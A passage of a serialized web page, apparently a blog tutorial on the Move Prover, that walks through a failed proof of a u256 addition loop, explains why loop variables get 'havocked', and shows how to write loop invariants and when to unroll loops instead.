}\n",{"type":23,"tag":481,"props":8065,"children":8066},{"class":483,"line":825},[8067],{"type":23,"tag":481,"props":8068,"children":8069},{"style":610},[8070],{"type":28,"value":8071},"╰─────^\n",{"type":23,"tag":481,"props":8073,"children":8074},{"class":483,"line":843},[8075],{"type":23,"tag":481,"props":8076,"children":8077},{"emptyLinePlaceholder":15},[8078],{"type":28,"value":1210},{"type":23,"tag":481,"props":8080,"children":8081},{"class":483,"line":864},[8082],{"type":23,"tag":481,"props":8083,"children":8084},{"style":525},[8085],{"type":28,"value":7803},{"type":23,"tag":481,"props":8087,"children":8088},{"class":483,"line":873},[8089],{"type":23,"tag":481,"props":8090,"children":8091},{"emptyLinePlaceholder":15},[8092],{"type":28,"value":1210},{"type":23,"tag":481,"props":8094,"children":8095},{"class":483,"line":1125},[8096,8101,8106],{"type":23,"tag":481,"props":8097,"children":8098},{"style":610},[8099],{"type":28,"value":8100}," at",{"type":23,"tag":481,"props":8102,"children":8103},{"style":1805},[8104],{"type":28,"value":8105}," ./sources/u256.move:316:",{"type":23,"tag":481,"props":8107,"children":8108},{"style":1805},[8109],{"type":28,"value":8110}," add\n",{"type":23,"tag":481,"props":8112,"children":8113},{"class":483,"line":1142},[8114,8119,8124,8129,8133,8138,8142,8147,8152,8157,8162,8167],{"type":23,"tag":481,"props":8115,"children":8116},{"style":610},[8117],{"type":28,"value":8118}," enter",{"type":23,"tag":481,"props":8120,"children":8121},{"style":1805},[8122],{"type":28,"value":8123}," loop,",{"type":23,"tag":481,"props":8125,"children":8126},{"style":1805},[8127],{"type":28,"value":8128}," variable",{"type":23,"tag":481,"props":8130,"children":8131},{"style":525},[8132],{"type":28,"value":618},{"type":23,"tag":481,"props":8134,"children":8135},{"style":610},[8136],{"type":28,"value":8137},"s",{"type":23,"tag":481,"props":8139,"children":8140},{"style":525},[8141],{"type":28,"value":598},{"type":23,"tag":481,"props":8143,"children":8144},{"style":1805},[8145],{"type":28,"value":8146},"carry,",{"type":23,"tag":481,"props":8148,"children":8149},{"style":1805},[8150],{"type":28,"value":8151}," i,",{"type":23,"tag":481,"props":8153,"children":8154},{"style":1805},[8155],{"type":28,"value":8156}," ret",{"type":23,"tag":481,"props":8158,"children":8159},{"style":1805},[8160],{"type":28,"value":8161}," havocked",{"type":23,"tag":481,"props":8163,"children":8164},{"style":1805},[8165],{"type":28,"value":8166}," and",{"type":23,"tag":481,"props":8168,"children":8169},{"style":1805},[8170],{"type":28,"value":8171}," reassigned\n",{"type":23,"tag":481,"props":8173,"children":8174},{"class":483,"line":1159},[8175,8180,8184],{"type":23,"tag":481,"props":8176,"children":8177},{"style":610},[8178],{"type":28,"value":8179}," carry",{"type":23,"tag":481,"props":8181,"children":8182},{"style":1805},[8183],{"type":28,"value":517},{"type":23,"tag":481,"props":8185,"children":8186},{"style":551},[8187],{"type":28,"value":8188}," 54\n",{"type":23,"tag":481,"props":8190,"children":8191},{"class":483,"line":1172},[8192,8197,8201],{"type":23,"tag":481,"props":8193,"children":8194},{"style":610},[8195],{"type":28,"value":8196}," i",{"type":23,"tag":481,"props":8198,"children":8199},{"style":1805},[8200],{"type":28,"value":517},{"type":23,"tag":481,"props":8202,"children":8203},{"style":551},[8204],{"type":28,"value":8205}," 3792\n",{"type":23,"tag":481,"props":8207,"children":8208},{"class":483,"line":1181},[8209,8214,8218,8223,8227,8232,8237,8241,8246,8251,8255,8260,8265,8269,8274],{"type":23,"tag":481,"props":8210,"children":8211},{"style":610},[8212],{"type":28,"value":8213}," ret",{"type":23,"tag":481,"props":8215,"children":8216},{"style":1805},[8217],{"type":28,"value":517},{"type":23,"tag":481,"props":8219,"children":8220},{"style":1805},[8221],{"type":28,"value":8222}," u256.U256{v0",{"type":23,"tag":481,"props":8224,"children":8225},{"style":1805},[8226],{"type":28,"value":517},{"type":23,"tag":481,"props":8228,"children":8229},{"style":1805},[8230],{"type":28,"value":8231}," 26418,",{"type":23,"tag":481,"props":8233,"children":8234},{"style":1805},[8235],{"type":28,"value":8236}," v1",{"type":23,"tag":481,"props":8238,"children":8239},{"style":1805},[8240],{"type":28,"value":517},{"type":23,"tag":481,"props":8242,"children":8243},{"style":1805},[8244],{"type":28,"value":8245}," 27938,",{"type":23,"tag":481,"props":8247,"children":8248},{"style":1805},[8249],{"type":28,"value":8250}," v2",{"type":23,"tag":481,"props":8252,"children":8253},{"style":1805},[8254],{"type":28,"value":517},{"type":23,"tag":481,"props":8256,"children":8257},{"style":1805},[8258],{"type":28,"value":8259}," 6900,",{"type":23,"tag":481,"props":8261,"children":8262},{"style":1805},[8263],{"type":28,"value":8264}," v3",{"type":23,"tag":481,"props":8266,"children":8267},{"style":1805},[8268],{"type":28,"value":517},{"type":23,"tag":481,"props":8270,"children":8271},{"style":551},[8272],{"type":28,"value":8273}," 1999",{"type":23,"tag":481,"props":8275,"children":8276},{"style":1805},[8277],{"type":28,"value":1443},{"type":23,"tag":481,"props":8279,"children":8280},{"class":483,"line":1204},[8281,8285,8290],{"type":23,"tag":481,"props":8282,"children":8283},{"style":610},[8284],{"type":28,"value":8100},{"type":23,"tag":481,"props":8286,"children":8287},{"style":1805},[8288],{"type":28,"value":8289}," ./sources/u256.move:346:",{"type":23,"tag":481,"props":8291,"children":8292},{"style":1805},[8293],{"type":28,"value":8110},{"type":23,"tag":481,"props":8295,"children":8296},{"class":483,"line":1213},[8297],{"type":23,"tag":481,"props":8298,"children":8299},{"style":610},[8300],{"type":28,"value":8301}," ABORTED\n",{"type":23,"tag":481,"props":8303,"children":8304},{"class":483,"line":1222},[8305],{"type":23,"tag":481,"props":8306,"children":8307},{"emptyLinePlaceholder":15},[8308],{"type":28,"value":1210},{"type":23,"tag":481,"props":8310,"children":8311},{"class":483,"line":1291},[8312,8317,8322,8326,8331,8336,8341,8345,8350,8354],{"type":23,"tag":481,"props":8313,"children":8314},{"style":610},[8315],{"type":28,"value":8316},"FAILURE",{"type":23,"tag":481,"props":8318,"children":8319},{"style":1805},[8320],{"type":28,"value":8321}," proving",{"type":23,"tag":481,"props":8323,"children":8324},{"style":551},[8325],{"type":28,"value":2072},{"type":23,"tag":481,"props":8327,"children":8328},{"style":1805},[8329],{"type":28,"value":8330}," modules",{"type":23,"tag":481,"props":8332,"children":8333},{"style":1805},[8334],{"type":28,"value":8335}," from",{"type":23,"tag":481,"props":8337,"children":8338},{"style":1805},[8339],{"type":28,"value":8340}," package",{"type":23,"tag":481,"props":8342,"children":8343},{"style":1805},[8344],{"type":28,"value":7858},{"type":23,"tag":481,"props":8346,"children":8347},{"style":610},[8348],{"type":28,"value":8349},"u256",{"type":23,"tag":481,"props":8351,"children":8352},{"style":1805},[8353],{"type":28,"value":7867},{"type":23,"tag":481,"props":8355,"children":8356},{"style":525},[8357],{"type":28,"value":8358}," in 9.143s\n",{"type":23,"tag":481,"props":8360,"children":8361},{"class":483,"line":1299},[8362],{"type":23,"tag":481,"props":8363,"children":8364},{"style":525},[8365],{"type":28,"value":8366},"{\n",{"type":23,"tag":481,"props":8368,"children":8369},{"class":483,"line":1329},[8370,8375,8379],{"type":23,"tag":481,"props":8371,"children":8372},{"style":610},[8373],{"type":28,"value":8374}," \"Error\"",{"type":23,"tag":481,"props":8376,"children":8377},{"style":610},[8378],{"type":28,"value":287},{"type":23,"tag":481,"props":8380,"children":8381},{"style":1805},[8382],{"type":28,"value":8383}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":481,"props":8385,"children":8386},{"class":483,"line":1337},[8387],{"type":23,"tag":481,"props":8388,"children":8389},{"style":525},[8390],{"type":28,"value":1443},{"type":23,"tag":24,"props":8392,"children":8393},{},[8394,8396,8401],{"type":28,"value":8395},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":64,"props":8397,"children":8399},{"className":8398},[],[8400],{"type":28,"value":5804},{"type":28,"value":8402}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":8404,"children":8405},{},[8406,8408,8414],{"type":28,"value":8407},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":64,"props":8409,"children":8411},{"className":8410},[],[8412],{"type":28,"value":8413},"ret havocked and reassigned",{"type":28,"value":199},{"type":23,"tag":24,"props":8416,"children":8417},{},[8418],{"type":28,"value":8419},"What does this mean?",{"type":23,"tag":24,"props":8421,"children":8422},{},[8423,8425,8432],{"type":28,"value":8424},"By diving into the Move Prover source, we find a ",{"type":23,"tag":190,"props":8426,"children":8429},{"href":8427,"rel":8428},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[194],[8430],{"type":28,"value":8431},"likely suspect",{"type":28,"value":8433},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":8435,"children":8436},{},[8437],{"type":28,"value":8438},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":73,"props":8440,"children":8441},{},[8442,8447],{"type":23,"tag":77,"props":8443,"children":8444},{},[8445],{"type":28,"value":8446},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":77,"props":8448,"children":8449},{},[8450],{"type":28,"value":8451},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":8453,"children":8454},{},[8455,8457,8462,8464,8470,8471,8477,8479,8484,8486,8491],{"type":28,"value":8456},"The loop prover will also ",{"type":23,"tag":2875,"props":8458,"children":8459},{},[8460],{"type":28,"value":8461},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":8463},". Going back to the log message, this implies that the variables ",{"type":23,"tag":64,"props":8465,"children":8467},{"className":8466},[],[8468],{"type":28,"value":8469},"carry",{"type":28,"value":588},{"type":23,"tag":64,"props":8472,"children":8474},{"className":8473},[],[8475],{"type":28,"value":8476},"ret",{"type":28,"value":8478}," and ",{"type":23,"tag":64,"props":8480,"children":8482},{"className":8481},[],[8483],{"type":28,"value":1274},{"type":28,"value":8485}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":64,"props":8487,"children":8489},{"className":8488},[],[8490],{"type":28,"value":7122},{"type":28,"value":8492}," makes no sense.",{"type":23,"tag":24,"props":8494,"children":8495},{},[8496],{"type":28,"value":8497},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":73,"props":8499,"children":8500},{},[8501,8506,8511,8516,8521,8526],{"type":23,"tag":77,"props":8502,"children":8503},{},[8504],{"type":28,"value":8505},"Assert the loop invariant",{"type":23,"tag":77,"props":8507,"children":8508},{},[8509],{"type":28,"value":8510},"Havoc all modified variables",{"type":23,"tag":77,"props":8512,"children":8513},{},[8514],{"type":28,"value":8515},"Assume the loop invariant",{"type":23,"tag":77,"props":8517,"children":8518},{},[8519],{"type":28,"value":8520},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":77,"props":8522,"children":8523},{},[8524],{"type":28,"value":8525},"Run the loop body",{"type":23,"tag":77,"props":8527,"children":8528},{},[8529],{"type":28,"value":8505},{"type":23,"tag":24,"props":8531,"children":8532},{},[8533],{"type":28,"value":8534},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":8536,"children":8537},{},[8538],{"type":28,"value":8539},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":8541,"children":8542},{},[8543,8545,8552],{"type":28,"value":8544},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":190,"props":8546,"children":8549},{"href":8547,"rel":8548},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[194],[8550],{"type":28,"value":8551},"previous post",{"type":28,"value":199},{"type":23,"tag":435,"props":8554,"children":8556},{"code":8555,"language":474,"meta":7,"className":475,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[8557],{"type":23,"tag":64,"props":8558,"children":8559},{"__ignoreMap":7},[8560,8572,8583,8619,8642,8725,8732,8756,8764,8784,8804,8895,8902,8930],{"type":23,"tag":481,"props":8561,"children":8562},{"class":483,"line":484},[8563,8568],{"type":23,"tag":481,"props":8564,"children":8565},{"style":535},[8566],{"type":28,"value":8567}," while",{"type":23,"tag":481,"props":8569,"children":8570},{"style":525},[8571],{"type":28,"value":6012},{"type":23,"tag":481,"props":8573,"children":8574},{"class":483,"line":351},[8575,8579],{"type":23,"tag":481,"props":8576,"children":8577},{"style":508},[8578],{"type":28,"value":6409},{"type":23,"tag":481,"props":8580,"children":8581},{"style":525},[8582],{"type":28,"value":809},{"type":23,"tag":481,"props":8584,"children":8585},{"class":483,"line":531},[8586,8591,8595,8599,8603,8607,8611,8615],{"type":23,"tag":481,"props":8587,"children":8588},{"style":508},[8589],{"type":28,"value":8590}," invariant",{"type":23,"tag":481,"props":8592,"children":8593},{"style":610},[8594],{"type":28,"value":6037},{"type":23,"tag":481,"props":8596,"children":8597},{"style":525},[8598],{"type":28,"value":618},{"type":23,"tag":481,"props":8600,"children":8601},{"style":508},[8602],{"type":28,"value":6046},{"type":23,"tag":481,"props":8604,"children":8605},{"style":525},[8606],{"type":28,"value":598},{"type":23,"tag":481,"props":8608,"children":8609},{"style":514},[8610],{"type":28,"value":6055},{"type":23,"tag":481,"props":8612,"children":8613},{"style":508},[8614],{"type":28,"value":922},{"type":23,"tag":481,"props":8616,"children":8617},{"style":525},[8618],{"type":28,"value":528},{"type":23,"tag":481,"props":8620,"children":8621},{"class":483,"line":567},[8622,8626,8630,8634,8638],{"type":23,"tag":481,"props":8623,"children":8624},{"style":508},[8625],{"type":28,"value":8590},{"type":23,"tag":481,"props":8627,"children":8628},{"style":508},[8629],{"type":28,"value":922},{"type":23,"tag":481,"props":8631,"children":8632},{"style":514},[8633],{"type":28,"value":5676},{"type":23,"tag":481,"props":8635,"children":8636},{"style":508},[8637],{"type":28,"value":5966},{"type":23,"tag":481,"props":8639,"children":8640},{"style":525},[8641],{"type":28,"value":528},{"type":23,"tag":481,"props":8643,"children":8644},{"class":483,"line":678},[8645,8649,8653,8657,8661,8665,8669,8673,8677,8681,8685,8689,8693,8697,8701,8705,8709,8713,8717,8721],{"type":23,"tag":481,"props":8646,"children":8647},{"style":508},[8648],{"type":28,"value":8590},{"type":23,"tag":481,"props":8650,"children":8651},{"style":508},[8652],{"type":28,"value":6098},{"type":23,"tag":481,"props":8654,"children":8655},{"style":508},[8656],{"type":28,"value":6103},{"type":23,"tag":481,"props":8658,"children":8659},{"style":497},[8660],{"type":28,"value":548},{"type":23,"tag":481,"props":8662,"children":8663},{"style":551},[8664],{"type":28,"value":554},{"type":23,"tag":481,"props":8666,"children":8667},{"style":514},[8668],{"type":28,"value":559},{"type":23,"tag":481,"props":8670,"children":8671},{"style":508},[8672],{"type":28,"value":1274},{"type":23,"tag":481,"props":8674,"children":8675},{"style":514},[8676],{"type":28,"value":287},{"type":23,"tag":481,"props":8678,"children":8679},{"style":508},[8680],{"type":28,"value":5901},{"type":23,"tag":481,"props":8682,"children":8683},{"style":525},[8684],{"type":28,"value":1269},{"type":23,"tag":481,"props":8686,"children":8687},{"style":508},[8688],{"type":28,"value":6136},{"type":23,"tag":481,"props":8690,"children":8691},{"style":525},[8692],{"type":28,"value":6141},{"type":23,"tag":481,"props":8694,"children":8695},{"style":514},[8696],{"type":28,"value":6055},{"type":23,"tag":481,"props":8698,"children":8699},{"style":508},[8700],{"type":28,"value":6150},{"type":23,"tag":481,"props":8702,"children":8703},{"style":525},[8704],{"type":28,"value":1269},{"type":23,"tag":481,"props":8706,"children":8707},{"style":508},[8708],{"type":28,"value":6136},{"type":23,"tag":481,"props":8710,"children":8711},{"style":525},[8712],{"type":28,"value":6141},{"type":23,"tag":481,"props":8714,"children":8715},{"style":514},[8716],{"type":28,"value":2120},{"type":23,"tag":481,"props":8718,"children":8719},{"style":508},[8720],{"type":28,"value":5966},{"type":23,"tag":481,"props":8722,"children":8723},{"style":525},[8724],{"type":28,"value":528},{"type":23,"tag":481,"props":8726,"children":8727},{"class":483,"line":784},[8728],{"type":23,"tag":481,"props":8729,"children":8730},{"style":525},[8731],{"type":28,"value":6401},{"type":23,"tag":481,"props":8733,"children":8734},{"class":483,"line":812},[8735,8740,8744,8748,8752],{"type":23,"tag":481,"props":8736,"children":8737},{"style":525},[8738],{"type":28,"value":8739}," (",{"type":23,"tag":481,"props":8741,"children":8742},{"style":508},[8743],{"type":28,"value":1274},{"type":23,"tag":481,"props":8745,"children":8746},{"style":514},[8747],{"type":28,"value":6199},{"type":23,"tag":481,"props":8749,"children":8750},{"style":508},[8751],{"type":28,"value":5966},{"type":23,"tag":481,"props":8753,"children":8754},{"style":525},[8755],{"type":28,"value":675},{"type":23,"tag":481,"props":8757,"children":8758},{"class":483,"line":825},[8759],{"type":23,"tag":481,"props":8760,"children":8761},{"style":525},[8762],{"type":28,"value":8763}," }) {\n",{"type":23,"tag":481,"props":8765,"children":8766},{"class":483,"line":843},[8767,8772,8776,8780],{"type":23,"tag":481,"props":8768,"children":8769},{"style":525},[8770],{"type":28,"value":8771}," vector",{"type":23,"tag":481,"props":8773,"children":8774},{"style":514},[8775],{"type":28,"value":1006},{"type":23,"tag":481,"props":8777,"children":8778},{"style":610},[8779],{"type":28,"value":6232},{"type":23,"tag":481,"props":8781,"children":8782},{"style":525},[8783],{"type":28,"value":988},{"type":23,"tag":481,"props":8785,"children":8786},{"class":483,"line":864},[8787,8792,8796,8800],{"type":23,"tag":481,"props":8788,"children":8789},{"style":514},[8790],{"type":28,"value":8791}," &",{"type":23,"tag":481,"props":8793,"children":8794},{"style":497},[8795],{"type":28,"value":1259},{"type":23,"tag":481,"props":8797,"children":8798},{"style":508},[8799],{"type":28,"value":5901},{"type":23,"tag":481,"props":8801,"children":8802},{"style":525},[8803],{"type":28,"value":1033},{"type":23,"tag":481,"props":8805,"children":8806},{"class":483,"line":873},[8807,8811,8815,8819,8823,8827,8831,8835,8839,8843,8847,8851,8855,8859,8863,8867,8871,8875,8879,8883,8887,8891],{"type":23,"tag":481,"props":8808,"children":8809},{"style":525},[8810],{"type":28,"value":6190},{"type":23,"tag":481,"props":8812,"children":8813},{"style":514},[8814],{"type":28,"value":2120},{"type":23,"tag":481,"props":8816,"children":8817},{"style":525},[8818],{"type":28,"value":6273},{"type":23,"tag":481,"props":8820,"children":8821},{"style":514},[8822],{"type":28,"value":1006},{"type":23,"tag":481,"props":8824,"children":8825},{"style":610},[8826],{"type":28,"value":6282},{"type":23,"tag":481,"props":8828,"children":8829},{"style":525},[8830],{"type":28,"value":618},{"type":23,"tag":481,"props":8832,"children":8833},{"style":514},[8834],{"type":28,"value":623},{"type":23,"tag":481,"props":8836,"children":8837},{"style":508},[8838],{"type":28,"value":5846},{"type":23,"tag":481,"props":8840,"children":8841},{"style":525},[8842],{"type":28,"value":6299},{"type":23,"tag":481,"props":8844,"children":8845},{"style":508},[8846],{"type":28,"value":1274},{"type":23,"tag":481,"props":8848,"children":8849},{"style":497},[8850],{"type":28,"value":6308},{"type":23,"tag":481,"props":8852,"children":8853},{"style":943},[8854],{"type":28,"value":3336},{"type":23,"tag":481,"props":8856,"children":8857},{"style":525},[8858],{"type":28,"value":6317},{"type":23,"tag":481,"props":8860,"children":8861},{"style":497},[8862],{"type":28,"value":6322},{"type":23,"tag":481,"props":8864,"children":8865},{"style":943},[8866],{"type":28,"value":6327},{"type":23,"tag":481,"props":8868,"children":8869},{"style":525},[8870],{"type":28,"value":598},{"type":23,"tag":481,"props":8872,"children":8873},{"style":514},[8874],{"type":28,"value":2120},{"type":23,"tag":481,"props":8876,"children":8877},{"style":525},[8878],{"type":28,"value":578},{"type":23,"tag":481,"props":8880,"children":8881},{"style":508},[8882],{"type":28,"value":6344},{"type":23,"tag":481,"props":8884,"children":8885},{"style":497},[8886],{"type":28,"value":6308},{"type":23,"tag":481,"props":8888,"children":8889},{"style":943},[8890],{"type":28,"value":6327},{"type":23,"tag":481,"props":8892,"children":8893},{"style":525},[8894],{"type":28,"value":675},{"type":23,"tag":481,"props":8896,"children":8897},{"class":483,"line":1125},[8898],{"type":23,"tag":481,"props":8899,"children":8900},{"style":525},[8901],{"type":28,"value":4244},{"type":23,"tag":481,"props":8903,"children":8904},{"class":483,"line":1142},[8905,8910,8914,8918,8922,8926],{"type":23,"tag":481,"props":8906,"children":8907},{"style":508},[8908],{"type":28,"value":8909}," i",{"type":23,"tag":481,"props":8911,"children":8912},{"style":514},[8913],{"type":28,"value":517},{"type":23,"tag":481,"props":8915,"children":8916},{"style":508},[8917],{"type":28,"value":922},{"type":23,"tag":481,"props":8919,"children":8920},{"style":514},[8921],{"type":28,"value":6385},{"type":23,"tag":481,"props":8923,"children":8924},{"style":551},[8925],{"type":28,"value":2072},{"type":23,"tag":481,"props":8927,"children":8928},{"style":525},[8929],{"type":28,"value":528},{"type":23,"tag":481,"props":8931,"children":8932},{"class":483,"line":1159},[8933],{"type":23,"tag":481,"props":8934,"children":8935},{"style":525},[8936],{"type":28,"value":8937}," };\n",{"type":23,"tag":24,"props":8939,"children":8940},{},[8941,8943,8949,8951,8956,8958,8964],{"type":28,"value":8942},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":64,"props":8944,"children":8946},{"className":8945},[],[8947],{"type":28,"value":8948},"while",{"type":28,"value":8950}," loop. Note that because the loop invariant executes ",{"type":23,"tag":127,"props":8952,"children":8953},{},[8954],{"type":28,"value":8955},"after",{"type":28,"value":8957}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":64,"props":8959,"children":8961},{"className":8960},[],[8962],{"type":28,"value":8963},"i \u003C= n_coins",{"type":28,"value":199},{"type":23,"tag":435,"props":8966,"children":8968},{"code":8967,"language":474,"meta":7,"className":475,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[8969],{"type":23,"tag":64,"props":8970,"children":8971},{"__ignoreMap":7},[8972,8983,8994,9029,9052,9135,9142,9165],{"type":23,"tag":481,"props":8973,"children":8974},{"class":483,"line":484},[8975,8979],{"type":23,"tag":481,"props":8976,"children":8977},{"style":535},[8978],{"type":28,"value":8567},{"type":23,"tag":481,"props":8980,"children":8981},{"style":525},[8982],{"type":28,"value":6012},{"type":23,"tag":481,"props":8984,"children":8985},{"class":483,"line":351},[8986,8990],{"type":23,"tag":481,"props":8987,"children":8988},{"style":508},[8989],{"type":28,"value":6409},{"type":23,"tag":481,"props":8991,"children":8992},{"style":525},[8993],{"type":28,"value":809},{"type":23,"tag":481,"props":8995,"children":8996},{"class":483,"line":531},[8997,9001,9005,9009,9013,9017,9021,9025],{"type":23,"tag":481,"props":8998,"children":8999},{"style":508},[9000],{"type":28,"value":8590},{"type":23,"tag":481,"props":9002,"children":9003},{"style":610},[9004],{"type":28,"value":6037},{"type":23,"tag":481,"props":9006,"children":9007},{"style":525},[9008],{"type":28,"value":618},{"type":23,"tag":481,"props":9010,"children":9011},{"style":508},[9012],{"type":28,"value":6046},{"type":23,"tag":481,"props":9014,"children":9015},{"style":525},[9016],{"type":28,"value":598},{"type":23,"tag":481,"props":9018,"children":9019},{"style":514},[9020],{"type":28,"value":6055},{"type":23,"tag":481,"props":9022,"children":9023},{"style":508},[9024],{"type":28,"value":922},{"type":23,"tag":481,"props":9026,"children":9027},{"style":525},[9028],{"type":28,"value":528},{"type":23,"tag":481,"props":9030,"children":9031},{"class":483,"line":567},[9032,9036,9040,9044,9048],{"type":23,"tag":481,"props":9033,"children":9034},{"style":508},[9035],{"type":28,"value":8590},{"type":23,"tag":481,"props":9037,"children":9038},{"style":508},[9039],{"type":28,"value":922},{"type":23,"tag":481,"props":9041,"children":9042},{"style":514},[9043],{"type":28,"value":5676},{"type":23,"tag":481,"props":9045,"children":9046},{"style":508},[9047],{"type":28,"value":5966},{"type":23,"tag":481,"props":9049,"children":9050},{"style":525},[9051],{"type":28,"value":528},{"type":23,"tag":481,"props":9053,"children":9054},{"class":483,"line":678},[9055,9059,9063,9067,9071,9075,9079,9083,9087,9091,9095,9099,9103,9107,9111,9115,9119,9123,9127,9131],{"type":23,"tag":481,"props":9056,"children":9057},{"style":508},[9058],{"type":28,"value":8590},{"type":23,"tag":481,"props":9060,"children":9061},{"style":508},[9062],{"type":28,"value":6098},{"type":23,"tag":481,"props":9064,"children":9065},{"style":508},[9066],{"type":28,"value":6103},{"type":23,"tag":481,"props":9068,"children":9069},{"style":497},[9070],{"type":28,"value":548},{"type":23,"tag":481,"props":9072,"children":9073},{"style":551},[9074],{"type":28,"value":554},{"type":23,"tag":481,"props":9076,"children":9077},{"style":514},[9078],{"type":28,"value":559},{"type":23,"tag":481,"props":9080,"children":9081},{"style":508},[9082],{"type":28,"value":1274},{"type":23,"tag":481,"props":9084,"children":9085},{"style":514},[9086],{"type":28,"value":287},{"type":23,"tag":481,"props":9088,"children":9089},{"style":508},[9090],{"type":28,"value":5901},{"type":23,"tag":481,"props":9092,"children":9093},{"style":525},[9094],{"type":28,"value":1269},{"type":23,"tag":481,"props":9096,"children":9097},{"style":508},[9098],{"type":28,"value":6136},{"type":23,"tag":481,"props":9100,"children":9101},{"style":525},[9102],{"type":28,"value":6141},{"type":23,"tag":481,"props":9104,"children":9105},{"style":514},[9106],{"type":28,"value":6055},{"type":23,"tag":481,"props":9108,"children":9109},{"style":508},[9110],{"type":28,"value":6150},{"type":23,"tag":481,"props":9112,"children":9113},{"style":525},[9114],{"type":28,"value":1269},{"type":23,"tag":481,"props":9116,"children":9117},{"style":508},[9118],{"type":28,"value":6136},{"type":23,"tag":481,"props":9120,"children":9121},{"style":525},[9122],{"type":28,"value":6141},{"type":23,"tag":481,"props":9124,"children":9125},{"style":514},[9126],{"type":28,"value":2120},{"type":23,"tag":481,"props":9128,"children":9129},{"style":508},[9130],{"type":28,"value":5966},{"type":23,"tag":481,"props":9132,"children":9133},{"style":525},[9134],{"type":28,"value":528},{"type":23,"tag":481,"props":9136,"children":9137},{"class":483,"line":784},[9138],{"type":23,"tag":481,"props":9139,"children":9140},{"style":525},[9141],{"type":28,"value":6401},{"type":23,"tag":481,"props":9143,"children":9144},{"class":483,"line":812},[9145,9149,9153,9157,9161],{"type":23,"tag":481,"props":9146,"children":9147},{"style":525},[9148],{"type":28,"value":8739},{"type":23,"tag":481,"props":9150,"children":9151},{"style":508},[9152],{"type":28,"value":1274},{"type":23,"tag":481,"props":9154,"children":9155},{"style":514},[9156],{"type":28,"value":6199},{"type":23,"tag":481,"props":9158,"children":9159},{"style":508},[9160],{"type":28,"value":5966},{"type":23,"tag":481,"props":9162,"children":9163},{"style":525},[9164],{"type":28,"value":675},{"type":23,"tag":481,"props":9166,"children":9167},{"class":483,"line":825},[9168],{"type":23,"tag":481,"props":9169,"children":9170},{"style":525},[9171],{"type":28,"value":8763},{"type":23,"tag":24,"props":9173,"children":9174},{},[9175],{"type":28,"value":9176},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":9178,"children":9179},{},[9180,9182,9187],{"type":28,"value":9181},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":64,"props":9183,"children":9185},{"className":9184},[],[9186],{"type":28,"value":7122},{"type":28,"value":9188}," function will always iterate exactly 4 times:",{"type":23,"tag":435,"props":9190,"children":9192},{"code":9191,"language":474,"meta":7,"className":475,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[9193],{"type":23,"tag":64,"props":9194,"children":9195},{"__ignoreMap":7},[9196,9204,9237,9244,9260,9267,9291,9315,9360,9404,9411],{"type":23,"tag":481,"props":9197,"children":9198},{"class":483,"line":484},[9199],{"type":23,"tag":481,"props":9200,"children":9201},{"style":488},[9202],{"type":28,"value":9203},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":481,"props":9205,"children":9206},{"class":483,"line":351},[9207,9211,9216,9220,9224,9228,9233],{"type":23,"tag":481,"props":9208,"children":9209},{"style":497},[9210],{"type":28,"value":7139},{"type":23,"tag":481,"props":9212,"children":9213},{"style":525},[9214],{"type":28,"value":9215}," WORDS",{"type":23,"tag":481,"props":9217,"children":9218},{"style":514},[9219],{"type":28,"value":287},{"type":23,"tag":481,"props":9221,"children":9222},{"style":943},[9223],{"type":28,"value":3336},{"type":23,"tag":481,"props":9225,"children":9226},{"style":514},[9227],{"type":28,"value":517},{"type":23,"tag":481,"props":9229,"children":9230},{"style":551},[9231],{"type":28,"value":9232}," 